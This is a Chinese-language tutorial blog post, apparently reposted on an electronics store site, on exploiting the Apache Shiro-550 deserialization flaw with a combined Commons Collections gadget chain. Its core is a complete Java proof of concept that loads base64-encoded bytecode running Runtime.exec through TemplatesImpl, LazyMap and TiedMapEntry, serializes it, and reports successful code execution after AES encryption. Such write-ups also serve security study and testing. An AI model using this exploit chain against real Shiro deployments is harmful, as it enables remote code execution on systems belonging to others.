资讯详情

[Java反序列化]—Shiro反序列化(二)

前言

前篇通过urldns链来检测了shiro本文通过了550反序列化的存在CC链来进行shiro的代码执行

分析

shiro默认不是CC因此,我们需要自己添加依赖性

在这里插入图片描述

数组问题

直接用CC6链打,提示类不能加载[L是一个JVM这意味着它实际上是一个数组,也就是说,它不能加载Transformer[]

简单看原因

在shiro自定义deserialize中,调用是ois.readObject,而ois是ClassResolvingObjectInputStream的实例化

跟进下ClassResolvingObjectInputStream,只有一种结构方法和resolveClass(),这个resolveClass()是在java本地反序列化时会调用的一种方法,在这里重写,retrun返回的是ClassUtils.forName(osc.getName());

看看原生类

protected Class<?> resolveClass(ObjectStreamClass desc)     throws IOException, ClassNotFoundException { 
             String name = desc.getName();     try { 
                 return Class.forName(name, false, latestUserDefinedLoader());     } catch (ClassNotFoundException ex) { 
                 Class<?> cl = primClasses.get(name);         if (cl != null) { 
                     return cl;         } else { 
                     throw ex;         }     } } 

他return的则是Class.forName,所以区别就在这里shiro中重写的resolveClass()调用自己写的工具类ClassUtils中的forName因此,数组类不能加载。(涉及到tomcat一些开发问题,所以简单理解一下就好)

所以现在的问题是,如果你绕过了数组问题,你可以在这里找到使用它的方法TemplatesImpl的动态加载字节码来防止数组出现

可以直接将CC取出3的前半部分

        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{ 
        bytes});

而CC3之后会有一个数组部分,即:

Transformer[] transformers = new Transformer[]{ 
        
        new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
        new InstantiateTransformer(new Class[]{ 
        Templates.class},new Object[]{ 
        templates})
};

但这里边其实只有两个数组,所以只需要想办法去掉一个那就完全用不到数组了,而这里ConstantTransformer是可以去掉的。

看下原因,整个链子调用到了LazyMapget()方法的时候:

public Object get(Object key) { 
        
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) { 
        
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

接下来本来是应该让调用了那个Chainedtransformer的transform,然后依次调用数组中的transformer。但是关键是,factory.transform(key)是把key给传了进去。也就是说,其实这个传入的key完全可以代替一个ConstantTransformer。这样一简化Transformer[]里面只有一个了,就干脆直接用了,不需要用chain了。

所以这里可以用CC6的后半部分,将TiedMapEntrykey值设为TemplatesImpl,就可以成功赋值了

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Sentiemnt2");

outerMap.remove(templates);

Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,invokerTransformer);

我们最终的目的是调用TemplatesImpl的newTransformer,动态加载类进而执行代码,所以在通过CC2中的InvokerTransformer传入即可

InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);

这样以来就能调用TemplatesImpl.newTransformer

最终POC

package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class shiroCC { 
        
    public static void main(String[] args) throws Exception { 
        
        //CC3
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{ 
        bytes});

        //CC2
        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);

        //CC6
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"Sentiemnt2");

        outerMap.remove(templates);

        Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(outerMap,invokerTransformer);


        serialize(hashMap);
        //unserialize("1.txt");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ 
        
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException { 
        
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ 
        
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

序列化文件进行aes加密后,传参成功执行

标签: sl2继电器线路板底座syw二极管

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台